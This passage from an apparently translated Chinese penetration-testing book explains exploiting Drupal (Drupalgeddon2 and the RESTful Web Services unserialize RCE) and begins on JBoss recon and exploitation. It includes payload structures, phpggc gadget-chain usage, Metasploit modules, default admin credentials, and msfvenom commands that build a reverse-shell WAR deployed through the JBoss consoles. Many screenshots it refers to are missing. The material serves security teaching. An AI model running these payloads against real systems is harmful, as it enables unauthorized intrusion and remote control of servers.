1. 在运行 droopescan 之前，我们仍然需要安装必要的 Python 模块，可以使用以下命令完成：

pip install -r requirements.txt

1. 在系统上安装了所有软件包后，我们可以通过执行以下命令来测试安装 droopescan：

./droopescan

1. 如果在执行 droopescan 时出现错误，我们也可以使用以下命令来执行它：

python droopescan

1. 安装 droopescan 后，我们可以执行以下命令对 Drupal 进行漏洞扫描：

./droopescan scan drupal -u <URL>

以下是先前命令的输出截图：

droopescan 是一个基于插件的扫描器，用于识别多个 CMS 中的漏洞，但主要是 Drupal。droopescan 使用预先构建的单词列表，并通过暴力破解来检测模块、主题和插件。因此，这完全取决于我们的单词列表有多好。我们也可以找到其他基于 Drupal 的漏洞扫描器，用于识别 Drupal 中的漏洞。唯一的区别是它们所使用的语言（为了效率）和单词列表。

当我们在 Drupal CMS 中发现漏洞后，我们可以继续寻找它们的公开利用程序。其中最著名的漏洞之一是 Drupalgeddon。在接下来的部分中，我们将介绍 Drupalgeddon2 漏洞，并学习如何利用它。

利用 Drupal

在利用 Drupal 时，以下是我们需要牢记的攻击向量：

• 为了进行暴力破解攻击，枚举 Drupal 用户。

• 通过猜测密码利用 Drupal 的破损认证

• 利用插件、主题或模块进行任意文件泄露和上传、持久性跨站脚本（XSS）等

• 利用 Drupal 核心组件进行 SQL 注入和远程代码执行（RCE）

对于不同版本的 Drupal，可以使用不同的公开利用程序。有时，我们可以使用公开利用程序访问 Drupal 站点，而其他时候我们必须更改利用程序使其生效。了解利用程序并在后期执行它总是一个好的实践。现在让我们先专注于 Drupalgeddon2 的公开利用程序。

利用 Drupal 使用 Drupalgeddon2

2018 年 3 月 28 日，Drupal 发布了一份公告，强调了 Drupal 各个版本中的 RCE 漏洞。后来这个漏洞被重新命名为 Drupalgeddon2。Drupal 6 版本引入了 Form API，用于在表单渲染期间修改数据，在 Drupal 7 中，这被泛化为可渲染数组。可渲染数组以键值结构包含元数据，并在渲染过程中使用：

[ 
'#type' => 'email', 
'#title => '<em> Email Address</em>', 
'#prefix' => '<div>', 
'#suffix' => '</div>' 
] 

现在让我们了解一下基于表单的漏洞。

了解 Drupalgeddon 漏洞

Drupalgeddon 漏洞与特定注册表单有关。此表单在所有 Drupal 安装中都可用，并且可以在没有任何身份验证的情况下访问。在此表单中，电子邮件字段允许用户输入未经过处理的输入，这允许攻击者将数组注入到表单数组结构中（作为email字段的值）。以下属性可用于利用此漏洞：

• #post_render

• #lazy_builder

• #pre_render

• #access_callback

Metasploit 的利用模块使用#post_render属性将有效载荷注入到mail数组中，大致如下所示：

[ mail[#post_render][]': 'exec', // Function to be used for RCE mail[#type]': 'markup', 'mail[#markup]': 'whoami' // Command ] 

在渲染时，将调用exec()函数，该函数将执行whoami命令并返回输出。现在让我们继续看看这个利用程序的实际操作。

以下代码可以在/core/lib/Drupal/Core/Render/Renderer.php中找到：

/core/modules/file/src/Element/ManagedFile.php如下所示：

我们可以看到表单值使用斜杠进行分解，然后使用NestedArray::getValue()函数来获取值。根据返回的数据，渲染结果。在这种情况下，$form["user_picture"]["widget"][0]变成了user_picture/widget/0。我们可以输入我们自己的路径到所需的元素。在帐户注册表单中，有mail和name参数。name参数过滤用户数据，但email参数不会。我们可以将此参数转换为数组，并提交以#开头的行作为键。

返回到/core/lib/Drupal/Core/Render/Renderer.php，我们看到#post_render属性将#children元素并将其传递给call_user_func()函数，如下所示：

这是来自 PHP 手册的：

如果我们传递call_user_func(system,id)，它将被执行为system(id)。因此，我们需要将#post_render定义为exec()，并将#children定义为我们要传递给exec()的值：

[ 
mail[#post_render][]': printf, 
mail[#type]': 'markup', 
'mail[#children]': testing123 
] 

另一种方法是使用#markup元素，该元素由互联网上提供的其他漏洞利用所使用。

使用 Metasploit 利用 Drupalgeddon2

还有一个 Metasploit 模块可用于利用 Drupalgeddon2 漏洞，我们可以通过在 msfconsole 中执行以下命令来使用它：

use exploit/unix/webapp/drupal_drupalgeddon2

现在，执行以下步骤来利用漏洞：

1. 要查看选项，我们运行show options，如下所示：

1. 接下来，设置rhosts和rport的选项，如下截图所示：

1. 当利用程序运行时，首先通过向/发出请求来查找响应标头或元标记中的 Drupal 版本来进行指纹识别，如下所示：

1. 接下来，通过调用CHANGELOG.txt并查找SA-CORE-2018-002补丁来执行补丁级别检查，如下所示：

完成前两个步骤后，利用程序通过简单调用printf函数来确认 RCE 的存在并打印响应中的值：

在上述截图中，我们使用了testing123字符串。如果服务器响应testing123，则服务器存在 Drupalgeddon2 漏洞：

使用 PHP 的passthru()函数来确认 RCE 以执行id、whoami和uname -a命令：

服务器将响应返回给执行的命令，如下所示：

1. 最后一步是发送 PHP meterpreter 有效载荷，如下所示，将其注入并在内存中执行：

成功执行后，我们将在终端中打开一个 meterpreter 会话：

现在，让我们看另一个 Drupal 漏洞的例子，并尝试理解它是如何工作的。

RESTful Web Services 漏洞 - unserialize()

2019 年 2 月，CVE-2019-6340 发布，披露了 Drupal 的 RESTful web 服务模块中的一个漏洞。这个漏洞可以被利用来执行 RCE。只有当 Drupal 安装了所有的 web 服务（HAL，Serialization，RESTful Web Services和HTTP Basic Authentication，如下面的截图所示）时，才可能发生 RCE：

RESTful Web Services 模块使用 REST API 与 Drupal 通信，可以对网站资源执行更新、读取和写入等操作。它依赖于序列化模块对发送到 API 和从 API 接收的数据进行序列化。Drupal 8 核心使用Hypertext Application Language（HAL）模块，在启用时使用 HAL 对实体进行序列化。我们可以通过使用GET方法请求节点并带上_format=hal_json参数来检查 Drupal 服务器是否启用了这些 web 服务，如下面的截图所示：

如果安装了模块，我们将得到一个基于 JSON 的响应，如下所示：

如果服务器没有 web 服务模块，我们将收到406（不可接受）的 HTTP 代码错误：

这个漏洞存在是因为LinkItem类接受未经过处理的用户输入，并将其传递给unserialize()函数：

从下面的截图中可以看到，根据unserialize()函数的 PHP 手册，当使用unserialize()时，我们不应该让不受信任的用户输入传递给这个函数：

为了利用这个漏洞，需要满足三个条件：

• 应用程序应该有一个我们可以控制的unserialize()函数。

• 应用程序必须有一个实现 PHP 魔术方法（destruct()或wakeup()）的类，执行危险语句。

• 需要有一个序列化的有效负载，使用应用程序中加载的类。

从前面的截图中，我们可以确认我们可以控制$value['options']表单实体。为了检查魔术方法，让我们使用以下命令在源代码中搜索destruct()函数：

ag __destruct | grep guzzlehttp

下面的截图显示了前面命令的输出：

注意：在执行上述命令之前，您必须安装ag包。

在上面的截图中，我们排除了guzzlehttp，因为 Guzzle 被 Drupal 8 用作 PHP HTTP 客户端和用于构建 RESTful web 服务客户端的框架。

从查看FnStream.php文件（参考上面的截图）中，我们可以看到__destruct()魔术方法调用了call_user_func()函数，如下面的截图所示：

call_user_func()是一个非常危险的函数，特别是当传递多个参数时。我们可以使用这个函数来执行函数注入攻击：

根据 OWASP 的说法，函数注入攻击包括将客户端的函数名称插入或注入到应用程序中。成功的函数注入利用可以执行任何内置或用户定义的函数。函数注入攻击是一种注入攻击类型，其中任意函数名称，有时带有参数，被注入到应用程序中并执行。如果参数被传递到注入的函数，这将导致 RCE。

根据 Drupal API 文档，LinkItem 类用于实现 link 字段类型：

我们知道 LinkItem 类将未经过处理的用户输入传递给 unserialize() 函数，但要调用此类，我们需要首先调用一个实体。实体将是特定实体类型的一个实例，例如评论、分类术语或用户配置文件，或者是一组实例，例如博客文章、文章或产品。我们需要找到一个被 LinkItem 用于导航的实体。让我们使用以下命令在源代码中搜索实体：

ag LinkItem | grep Entity

以下屏幕截图显示了前述命令的输出：

从前面的屏幕截图中可以看到，LinkItem 用于导航到 MenuLinkContent.php 和 Shortcut.php 实体，并且从 Shortcut.php 文件中可以看到，快捷方式实体正在创建一个 link 属性：

要触发 unserialize() 函数，我们需要将我们迄今为止解释的所有元素对齐在一起：

{ "link": [ { "value": "link", "options": "<SERIALIZED_PAYLOAD>" } ], "_links": { "type": { "href": "localhost/rest/type/shortcut/default" } } } 

现在我们已经满足了三个条件中的两个，唯一剩下的就是创建我们的序列化有效负载。有各种方法可以创建序列化有效负载，但我们将使用一个名为PHP 通用小工具链（PHPGGC）的库来为 Guzzle 创建一个序列化有效负载。要使用 phpggc 生成序列化有效负载，我们使用以下命令：

./phpggc <gadget chain> <function> <command> --json

以下屏幕截图显示了前述命令的输出：

在前述屏幕截图中生成的 JSON 序列化有效负载将调用 system() 函数并运行 id 命令。我们将以以下 URL 格式使用 GET/POST/PUT 方法提交整个有效负载：localhost/node/1?_format=hal_json

服务器将执行 id 命令并返回我们在此处显示的输出：

我们已成功实现了 RCE，但问题仍然存在：为什么序列化有效负载有效？要回答这个问题，我们需要了解一般序列化数据的外观，并了解序列化格式。

理解序列化

为了基本了解 serialize() 函数，让我们看一下以下 PHP 代码片段：

在前面的代码中，我们初始化了一个名为 my_array 的数组，其中包含以下元素：

• my_array[0] = "Harpreet"

• my_array[1] = "Himanshu"

然后我们使用 serialize() 函数为数组生成序列化数据。如下屏幕截图所示，序列化数据流如下：

其他常用的 PHP 序列化格式包括：

• a：数组

• b：布尔值

• i：整数

• d：双精度

• O: 通用对象

• r：对象引用

• s：字符串

• C：自定义对象

Metasploit 还针对此漏洞内置了一个利用程序。查看利用程序的源代码，我们注意到它使用的有效负载几乎与 PHPGCC 生成的有效负载相同：

唯一的区别是命令及其长度根据我们通过利用选项给出的输入动态设置。

正如我们在下面的截图中所看到的（在这里我们调用__destruct()函数），要在call_user_func()中执行函数注入，我们必须控制_fn_close方法，以便危险函数（如system()、passthru()和eval()）可以轻松地作为第一个参数传递给call_user_func()：

要控制_fn_close方法，我们必须查看构造函数（__construct()）：

从上面的截图中可以看出，$methods数组作为参数传递给构造函数。__construct()函数将通过循环遍历$methods数组来创建函数，然后在_fn_字符串之前添加。如果$methods数组中有一个close字符串，该字符串将被添加上_fn_，从而形成_fn_close方法。现在，让我们看看$methods数组中的元素：

从上面的截图中可以清楚地看到$methods数组中有一个值为close的元素。现在我们知道如何控制_fn_close方法，接下来，我们必须找到一种方法将危险函数和要执行的命令传递给_fn_close。为此，我们必须创建一个POP 链。

什么是 POP 链？

在内存损坏漏洞（如缓冲区溢出和格式字符串）中，如果存在内存防御措施，如数据执行防护（DEP）和地址空间布局随机化（ASLR），则可以使用代码重用技术，如返回到 libc（ret2libc）和返回导向编程（ROP）来绕过这些防御措施。代码重用技术在基于 PHP 的 Web 应用程序的情况下也是可行的，这些应用程序使用对象的概念。可以利用对象属性进行利用的一种代码重用技术是基于属性的编程（POP）。

POP 链是一种利用 Web 应用程序中对象注入漏洞的利用方法，利用能够任意修改被注入到给定 Web 应用程序中的对象的属性的能力。然后可以相应地操纵受害应用程序的数据和控制流。

创建一个 POP 链，序列化的负载使用GuzzleHttp的HandlerStack类：

我们将我们的命令传递给handler方法，将危险函数传递给stack[]方法，如下图所示：

一旦析构函数被调用（在对象销毁时会自动调用），_fn_close方法的属性将被传递给call_user_func()，并执行system(id)：

接下来，我们将反序列化负载。

反序列化负载

为了更清楚地理解负载，我们可以对其进行反序列化并使用var_dump。根据 PHP 手册，var_dump显示关于一个或多个表达式的结构化信息（包括类型和值）。var_dump会递归地探索数组和对象，并缩进显示结构。我们也可以使用print_r()函数执行相同的操作：

由于我们使用基于GuzzleHttp客户端的负载，我们需要安装 Guzzle。我们可以使用以下 PHP 代码对其进行反序列化：

<?php
require __DIR__ . '/vendor/autoload.php';
$obj= unserialize(json_decode(file_get_contents("./payload.txt")));
var_dump($obj);
?>

运行代码将给我们以下输出：

object(GuzzleHttp\Psr7\FnStream)#3 (2) {["methods":"GuzzleHttp\Psr7\FnStream":private]=>array(1) {["close"]=>array(2) {[0]=>object(GuzzleHttp\HandlerStack)#2 (3) {["handler":"GuzzleHttp\HandlerStack" :private]=>string(1) "id"["stack":"GuzzleHttp\HandlerStack":private]=>array(1) {[0]=>array(1) {[0]=>string(4) "system"}}["cached":"GuzzleHttp\HandlerStack" :private]=>bool(false)}[1]=>string(7) "resolve"}}["_fn_close"]=>array(2) {[0]=>object(GuzzleHttp\HandlerStack)#2 (3) {["handler":"GuzzleHttp\HandlerStack" :private]=>string(1) "id"["stack":"GuzzleHttp\HandlerStack":private]=>array(1) {[0]=>array(1) {[0]=>string(4) "system"}}["cached":"GuzzleHttp\HandlerStack" :private]=>bool(false)}[1]=>string(7) "resolve"}

当执行时，会导致system()函数执行传递给该函数的命令，并将输出返回给我们。

通过 Metasploit 使用 unserialize()利用 RESTful Web Services RCE

现在我们了解了序列化的概念以及如何对有效载荷进行序列化，让我们使用 Metasploit 的exploit模块来利用这个漏洞。执行以下命令来使用exploit模块：

use exploit/unix/webapp/drupal_restws_unserialize

以下截图显示了前述命令的输出：

然后我们设置选项并运行利用。运行 Metasploit 模块后，我们会观察到它首先通过询问CHANGELOG.txt来查找SA-CORE-2019-003补丁来执行补丁级别检查。执行id命令以确认 Drupal 安装上的 RCE，如下所示：

成功利用后，服务器将返回id命令的输出，如下所示：

然后，PHP meterpreter 代码被序列化并发送到服务器，一个 meterpreter 会话在我们的 Metasploit 中打开，如下所示：

我们通过利用 RESTful Web Services 模块获得了对 Drupal 服务器的访问。

摘要

我们从讨论 Drupal 的架构和目录结构开始了本章。然后，我们学习了如何手动和自动执行 Drupal 的侦察。之后，我们看了两个利用的例子，并逐步介绍了整个利用过程。

在下一章中，我们将看一下对 JBoss 服务器的枚举和利用。

问题

1. 相同的漏洞可以用来利用不同版本的 Drupal 吗？

2. 我们需要在本地安装 Drupal 来利用远程 Drupal 网站吗？

3. RESTful API Web Services 利用不起作用-我们能做些什么？

4. 我们可以访问 Drupal 管理员帐户-我们如何在服务器上实现 RCE？

5. 我们在 Drupal 网站上发现了一个.swp文件-这可以用于利用吗？

进一步阅读

• Drupal 8 的架构：www.drupal.org/docs/8/modules/entity-browser/architecture

• Drupal 8 RCE 的深入研究：www.ambionics.io/blog/drupal8-rce

第十四章：在技术平台上进行渗透测试

在这一部分，我们将看一下最常用的技术平台，比如 JBoss、Tomcat 和 Jenkins。我们还将研究它们的枚举和深入利用。我们将涵盖最新的针对上述技术出现的常见漏洞和曝光（CVEs），并尝试理解根本原因。

本节包括以下章节：

• 第十一章，技术平台渗透测试 - JBoss

• 第十二章，技术平台渗透测试 - Apache Tomcat

• 第十三章，技术平台渗透测试 - Jenkins

第十五章：技术平台的渗透测试 - JBoss

本书的前几章介绍了如何对内容管理系统（CMS）进行渗透测试。现在我们已经清楚了不同 CMS 架构和进行测试的不同方法，让我们继续学习如何对不同技术进行测试。在本章中，我们将学习 JBoss 及其架构和利用。JBoss 是一个组织专注于自动化部署基于 Java 的应用程序的最易部署的应用之一。由于其灵活的架构，许多组织选择了 JBoss，但正是因为其对组织的极大易用性，JBoss 也成为了威胁行为者广泛瞄准的目标。本章将涵盖以下主题：

• JBoss 简介

• 使用 Metasploit 对基于 JBoss 的应用服务器进行侦察

• 对 JBoss 的漏洞评估

• 利用 Metasploit 模块进行 JBoss 利用

技术要求

本章的先决条件如下：

• JBoss 应用服务器 (AS)实例（jbossas.jboss.org/）

• Metasploit 框架（www.metasploit.com/）

• JexBoss 是一个第三方工具（github.com/joaomatosf/jexboss）

JBoss 简介

JBoss AS 是一个基于Java 企业版（Java EE）的开源应用服务器。该项目始于 1999 年的 Mark Fluery。自那时起，JBoss Group（LLC）于 2001 年成立，并且在 2004 年，JBoss 成为了以 JBoss, Inc.的名义成立的公司。在 2006 年初，甲骨文试图收购 JBoss, Inc.，但在同一年晚些时候，RedHat 成功收购了该公司。

由于 JBoss AS 基于 Java，该应用服务器支持跨平台安装，并且与市场上的其他专有软件不同，JBoss 以非常低的价格提供相同的功能。以下是 JBoss 的一些优点：

• 由于基于插件的架构而具有灵活性

• 安装和设置简单

• 提供完整的 Java EE 堆栈，包括企业 JavaBean（EJB）、Java 消息服务（JMS）、Java 管理扩展（JMX）和Java 命名和目录接口（JNDI）

• 可以运行企业应用（EA）

• 成本效益

由于灵活的插件架构，开发人员不必花时间为其应用程序开发服务。这里的目标是节省金钱和资源，以便开发人员可以更多地专注于他们正在开发的产品。

JBoss 架构（JBoss 5）

JBoss 架构在过去几年逐渐发生了变化，并且随着每个主要版本的发布，新的服务已被添加。在本章中，我们将查看 JBoss AS 5 的架构概述，并在本章后面的JBoss 利用部分中涵盖架构的利用部分。要了解 JBoss AS 架构，请参考以下图表：

我们可以将架构分为四个主要组件，如下所示：

• 用户应用程序：顾名思义，该组件处理用户应用程序，并包含 XML 配置文件、Web 应用程序资源（WAR）文件等。这是用户应用程序部署的地方。

• 组件部署器：JBoss 中使用部署器来部署组件。MainDeployer，JARDeployer和SARDeployer是 JBoss 服务器核心中的硬编码部署器。所有其他部署器都是托管 Bean（MBean）服务，它们将自己注册为MainDeployer的部署器。

• 企业服务：该组件负责处理多种事务，如事务、安全和 Web 服务器。

• JBoss 微容器：这可以作为独立容器在 JBoss AS 之外使用。它旨在提供一个环境来配置和管理Plain Old Java Objects（POJOs）。

现在，让我们来看一下目录结构。

JBoss 文件和目录结构

JBoss 有一个简化的目录结构。通过浏览到 JBoss 的home目录并列出内容，我们可以看到下面截图中显示的结构：

让我们试着了解一下这些目录是什么，它们包含了什么文件和文件夹：

• bin：这个目录包含所有入口点的Java Archives（JARs）和脚本，包括启动和关闭。

• client：这个目录存储可能被外部 Java 客户端应用程序使用的配置文件。

• common：这个目录包含服务器的所有公共 JAR 和配置文件。

• docs：这个目录包含 JBoss 文档和模式，在开发过程中很有帮助。

• lib：这个目录包含 JBoss 启动所需的所有 JAR 文件。

• server：这个目录包含与不同服务器配置文件相关的文件，包括生产和测试。

通过进一步进入server目录并列出内容，我们可以看到下面截图中显示的结构：

让我们打开其中一个配置文件，了解一下结构。下面的截图显示了default文件夹的列表：

让我们来看一下前面截图中目录的详细情况：

• conf：这个目录包含配置文件，包括login-config和bootstrap config。

• data：这个目录可用于在文件系统中存储内容的服务。

• deploy：这个目录包含在服务器上部署的 WAR 文件。

• lib：lib目录是静态 Java 库的默认位置，在启动时加载到共享类路径中。

• log：这个目录是所有日志写入的地方。

• tmp：这个目录被 JBoss 用来存储临时文件。

• work：这个目录包含编译后的 JSP 和类文件。

通过进一步进入deploy目录并列出内容，我们可以看到各种 WAR 文件、XML 文件等，如下面的截图所示：

我们需要了解的一些文件包括：

• admin-console.war是 JBoss AS 的管理控制台。

• ROOT.war是/root web 应用程序。

• jbossweb.sar是部署在服务器上的 Tomcat servlet 引擎。

• jbossws.sar是支持 Web 服务的 JBoss 服务。

大多数情况下，我们会发现服务器上缺少admin-console，因为 JBoss 管理员会将admin-console、web-console和JMX-console应用程序从服务器中移除。尽管这是保护 JBoss 实例的一种很好的方式，但这对威胁行为者并不起作用。JBoss AS 也可以使用 MBeans 进行管理。尽管它们是管理员的功能，但 MBeans 也可以作为允许行为者渗透网络的活门。要访问 MBeans，让我们首先了解文件和目录结构，因为这将帮助我们学习如何在过程中访问 MBeans。在 JBoss AS 中部署的大量 MBeans 可以直接通过JMX-console和web-console访问，这引发了许多关于部署安全性的担忧。

在深入研究 JBoss 利用之前，让我们先了解如何在 JBoss AS 部署上执行侦察和枚举。

侦察和枚举

在这一部分，我们将专注于对 JBoss 服务器的侦察和枚举。有各种方法可以识别 JBoss 服务器，比如默认情况下 JBoss 监听 HTTP 端口8080。让我们看一些用于 JBoss 侦察的常见技术。

通过主页检测

我们可以使用的一种非常基本的技术是访问 Web 服务器主页，该主页显示了 JBoss 的标志，如下截图所示：

当我们打开 JBoss 主页时，默认的 JBoss 设置会显示其他超链接，我们可以浏览以获取更多信息。

通过错误页面进行检测

有时候我们会发现 JBoss AS 运行在8080端口，但主页无法访问。在这种情况下，404错误页面也可以透露出 JBoss AS 的标头和版本号，用于正在使用的 JBoss 应用实例：

通过打开任意不存在的链接可以生成一个404错误页面，这将给我们一个错误，如前面的截图所示。

通过标题 HTML 标签进行检测

有些情况下，当我们尝试访问 JBoss AS 时，我们会得到一个空白页面。这通常是为了保护主页免受公开暴露和未经身份验证的访问。由于主页包含了相当有价值的信息，JBoss 管理员倾向于通过反向代理身份验证或删除应用程序中的 JMX 控制台、Web 控制台和管理控制台来保护页面（如本章前面提到的）。这些控制台将在本章的扫描和利用阶段进一步讨论：

如果我们得到一个空白页面，我们仍然可以通过 HTML <title>标签来识别 JBoss，该标签在页面标题中透露了一些信息，如前面的截图所示。

通过 X-Powered-By 进行检测

JBoss 还在 HTTP 响应标头中透露了其版本号和构建信息，如下截图所示。我们可以在X-Powered-ByHTTP 响应标头中找到版本和构建信息。即使管理控制台或 Web 控制台不可访问，部署在 JBoss 中的应用程序也没有配置隐藏标头：

大多数威胁行为者通过在 Shodan、Censys 等上搜索相同的标头信息来检测 JBoss AS 的使用。在撰写本书时，有超过 19,000 个 JBoss AS 服务器，如果它们没有得到安全配置，就有可能被利用：

威胁行为者寻找这些信息并运行自动化扫描程序，以找到易受攻击的 JBoss 实例。一旦被攻击，JBoss 可以为行为者打开进入组织网络的大门。

通过哈希值检测 favicon.ico

这种技术通常不为渗透测试人员所熟知，因为它涉及对图标进行哈希处理。这实际上是另一种很酷的方法，可以告诉我们服务器是否正在运行 JBoss AS。我们可以对favicon.ico文件（一个图标文件）进行 MD5 哈希处理，如下截图所示：

在 OWASP favicon 数据库中搜索哈希值将告诉我们服务器是否正在运行 JBoss：

由于 OWASP favicon 数据库非常有限，我们可以随时创建自己的数据库来执行此活动。

通过样式表（CSS）进行检测

查看 HTML 源代码，我们可以看到 JBoss 样式表（jboss.css），如下截图所示，这清楚地表明了 JBoss AS 正在运行：

有时，管理员会更改 JBoss 文件的命名约定，但在这个过程中，他们忘记了添加必要的安全配置。现在我们已经手动收集了用于识别 JBoss AS 实例使用的信息，让我们尝试使用 Metasploit 来识别该实例。

使用 Metasploit 进行 JBoss 状态扫描

Metasploit 还具有用于 JBoss 枚举的内置辅助模块，其中之一是 auxiliary/scanner/http/jboss_status。该模块寻找显示应用程序服务器运行状态历史的状态页面。我们可以在 msfconsole 中使用以下命令加载该模块：

use auxiliary/scanner/http/jboss_status
show options

以下截图显示了上述命令的输出：

上述截图显示了运行辅助程序所需的选项。设置好选项后，然后像下面的截图中所示运行辅助程序，服务器将确认应用程序服务器是基于 JBoss 的，根据发现的状态页面：

该模块寻找页面上具有以下正则表达式的文本：

该模块执行以下操作：

1. 它向服务器发送 GET 请求以查找 /status 页面（默认页面设置为 Target_uri 选项）。

2. 如果从服务器收到 200 OK 响应，它将在 HTML <title> 标签中查找 Tomcat Status 字符串。

3. 如果找到该标签，该模块将根据正则表达式查找数据，如上述截图所示。

当模块执行时，JBoss 会存储源 IP、目标 IP 和被调用页面。然后这些信息将被打印出来。我们可以在 /status 页面中查看它，就像下面的截图中所示：

jboss_status 模块寻找特定信息以对 JBoss AS 实例进行指纹识别。

JBoss 服务枚举

运行在 JBoss Web Service (JBoss WS) 上的服务列表也可以为我们提供有关 JBoss 服务器的信息：

打开 JBoss WS URI（即浏览到 /jbossws/services）将确认 JBoss AS 是否正在运行，正如我们在上述截图中所看到的。现在我们对如何枚举运行的 JBoss 服务并收集更多信息有了更好的理解，让我们继续下一节，它将向我们展示如何对 JBoss AS 实例执行漏洞扫描。

对 JBoss AS 执行漏洞评估

如果我们在一台机器上发现了 JBoss AS 实例，并且需要执行漏洞评估，我们总是可以使用 Metasploit。Metasploit 有一个名为 auxiliary/scanner/http/jboss_vulnscan 的模块，我们可以使用它对 JBoss AS 执行漏洞扫描。该模块检查一些漏洞，例如身份验证绕过、默认密码和可访问的 JMX-console 功能。以下是我们可以观察到的在 JBoss AS 上执行漏洞评估的步骤：

1. 要使用 jboss_vulnscan，我们在 msfconsole 中输入以下命令：

use auxiliary/scanner/http/jboss_vulnscan
show options

以下截图显示了上述命令的输出：

1. 设置所需的选项，如下所示：

1. 运行扫描程序后，它将检查各种漏洞，并报告在服务器上发现了哪些漏洞，如下所示：

该模块查找应用程序中的特定文件和在不同端口上运行的 Java 命名服务。

使用 JexBoss 进行漏洞扫描

还有另一个非常强大的工具，名为 JexBoss，专门用于 JBoss 和其他技术枚举和利用情况。它是由 João F. M. Figueiredo 开发的。在本节中，我们将简要介绍如何使用 JexBoss。该工具可以在 github.com/joaomatosf/jexboss 下载和安装。

设置好这一切后，我们可以使用以下命令运行该工具：

./jexboss.py -u http://<websiteurlhere.com>

让我们使用这个工具（如下截图所示）来查找 JBoss AS 实例中的漏洞：

在前面的屏幕截图中使用的命令将寻找易受攻击的 Apache Tomcat Struts、servlet 反序列化和 Jenkins。该工具还将检查各种 JBoss 漏洞，我们将找出服务器是否易受其中任何漏洞的影响。

易受攻击的 JBoss 入口点

众所周知，JBoss 配备了许多功能齐全和运行良好的附加组件和扩展，如 JNDI、JMX 和 JMS，因此 JBoss 利用的可能入口点数量相应增加。以下表格列出了易受攻击的 MBean 及其相应的服务和方法名称，可用于 JBoss 侦察和利用：

类别	MBean 域名	MBean 服务名称	MBean 方法名称	MBean 方法描述
利用	jboss.system	MainDeployer	deploy()、undeploy()和redeploy()	deploy()方法用于部署应用程序。undeploy()方法用于取消部署已部署的应用程序。redeploy()方法用于服务器重新部署存储在服务器本身（本地文件）的已部署应用程序。
侦察	jboss.system	Server	exit()、shutdown()和halt()	exit()、shutdown()和halt()方法是非常危险的方法。威胁行为者可以使用这些方法关闭应用程序服务器以中断服务。
侦察	jboss.system	ServerInfo	N/A	N/A
侦察	jboss.system	ServerConfig	N/A	N/A
利用	jboss.deployment	DeploymentScanner	addURL()和listDeployedURLs()	addURL()方法用于通过 URL 添加远程/本地应用程序进行部署。listDeploymentURLs()方法用于列出所有先前部署的应用程序及其 URL。此方法有助于查找当前的 JBoss AS 实例是否已被利用。
利用	jboss.deployer	BSHDeployer	createScriptDeployment()、deploy()、undeploy()和redeploy()	createScriptDeployment()方法用于通过Bean Shell（BSH）脚本部署应用程序。脚本内容应在此方法中提及以进行部署。然后 MBean 创建一个带有.bsh扩展名的临时文件，该文件将用于部署。deploy()、undeploy()和redeploy()方法用于使用 BSH 脚本管理部署。
利用	jboss.admin	DeploymentFileRepository	store()	store()方法被部署者用于存储文件名及其扩展名、文件夹名和时间戳。威胁行为者只需提到具有上述信息的 WAR 文件，有效载荷将直接部署在服务器上。

MainDeployer MBean 是部署的入口点，所有组件部署的请求都发送到MainDeployer。MainDeployer可以部署 WAR 存档、JARs、企业应用程序存档（EARs）、资源存档（RARs）、Hibernate 存档（HARs）、服务存档（SARs）、BSHes和许多其他部署包。

JBoss 利用

现在我们清楚了 JBoss 的侦察和漏洞扫描能力，让我们了解一下 JBoss 的利用。我们可以用以下几种基本方法来利用 JBoss：

• JBoss 利用通过管理控制台（admin-console）

• 通过MainDeployer服务利用 JBoss 的 JMX 控制台

• JBoss 利用通过 JMX 控制台使用MainDeployer服务（Metasploit 版本）

• JBoss 利用通过 JMX 控制台使用BSHDeployer服务

• 通过BSHDeployer服务（Metasploit 版本）利用 JBoss 的 JMX 控制台

• 通过 Java 小程序利用 JBoss 的 Web 控制台

• 通过Invoker方法利用 JBoss 的 Web 控制台

• 通过第三方工具使用 Web 控制台进行 JBoss 利用

让我们逐个了解这些利用方法。

JBoss 通过管理控制台进行利用

在这一部分，我们将开始利用过程。第一步是访问管理控制台，默认情况下配置的用户名和密码分别为admin和admin。下图显示了管理登录页面：

一旦我们成功登录，我们将看到下图所示的页面：

利用的下一步是找到一种在服务器上执行命令的方法，以便我们获得服务器级别的访问权限。从左侧菜单中选择 Web 应用程序（WAR）选项，您将被重定向到下图所示的页面。我们将点击“添加新资源”按钮：

这将带我们到一个新页面，在那里我们将看到上传 WAR 文件的选项。可以使用以下命令使用msfvenom生成 WAR 文件：

msfvenom -p java/meterpreter/reverse_tcp lhost=<Metasploit_Handler_IP> lport=<Metasploit_Handler_Port> -f war -o <filename>.war

一旦我们生成了基于 WAR 的 Metasploit 有效载荷，我们将把文件上传到控制台的 Web 应用程序（WAR）部分，如下图所示：

一旦文件成功上传，我们只需要转到它被提取到的目录，并在我们的 Web 浏览器上打开它以获取 Meterpreter 连接，如下图所示：

在运行有效载荷之前，有一些需要考虑的事情，最重要的是检查出口连接。如果有效载荷被执行，但防火墙阻止对我们服务器的出口流量（出站连接），我们需要找到一种方法来获取反向 shell。如果没有办法做到这一点，我们总是可以选择绑定连接到服务器。

通过 JMX 控制台进行利用（MainDeployer 方法）

请考虑来自官方 JBoss 文档的以下引用（可在docs.jboss.org/jbossas/docs/Getting_Started_Guide/4/html-single/index.html找到）：

“JMX 控制台是 JBoss 管理控制台，它提供了服务器组成的 JMX MBeans 的原始视图。它们可以提供有关运行服务器的大量信息，并允许您修改其配置，启动和停止组件等。”

如果我们发现 JBoss 有未经身份验证访问 JMX 控制台的实例，我们可以使用MainDeployer选项将 shell 上传到服务器。这允许我们从远程 URL 获取 WAR 文件并在服务器上部署它。JMX 控制台如下图所示：

让我们实施以下利用步骤：

1. 在控制台页面上，搜索MainDeployer服务选项，如下所示：

1. 单击该选项将重定向我们到一个新页面，如下所示：

1. 向下滚动页面，我们将看到多个deploy方法。选择URL Deploy方法，这将允许我们从远程 URL 获取 WAR 文件：

1. 使用以下命令生成基于 WAR 的 Metasploit 有效载荷：

Msfvenom -p java/meterpreter/reverse_tcp lhost=<Metasploit_Handler_IP> lport=<Metasploit_Handler_Port> -f war -o <filename>.war

1. 现在我们需要将 WAR 文件托管在 HTTP 服务器上，并将 URL 粘贴到输入字段中，如下所示：

1. 让我们设置我们的利用处理程序如下所示：

1. 一旦成功调用，我们将从服务器收到以下消息：

我们的s.war有效载荷已部署。

1. 接下来，我们需要找到正确的 stager 名称，以便我们可以调用文件。让我们解压 Metasploit 生成的文件，如下所示：

我们在web.xml文件中找到 servlet 名称：

1. 让我们通过将 servlet 名称添加到 URL 来调用有效载荷，如下所示的屏幕截图：

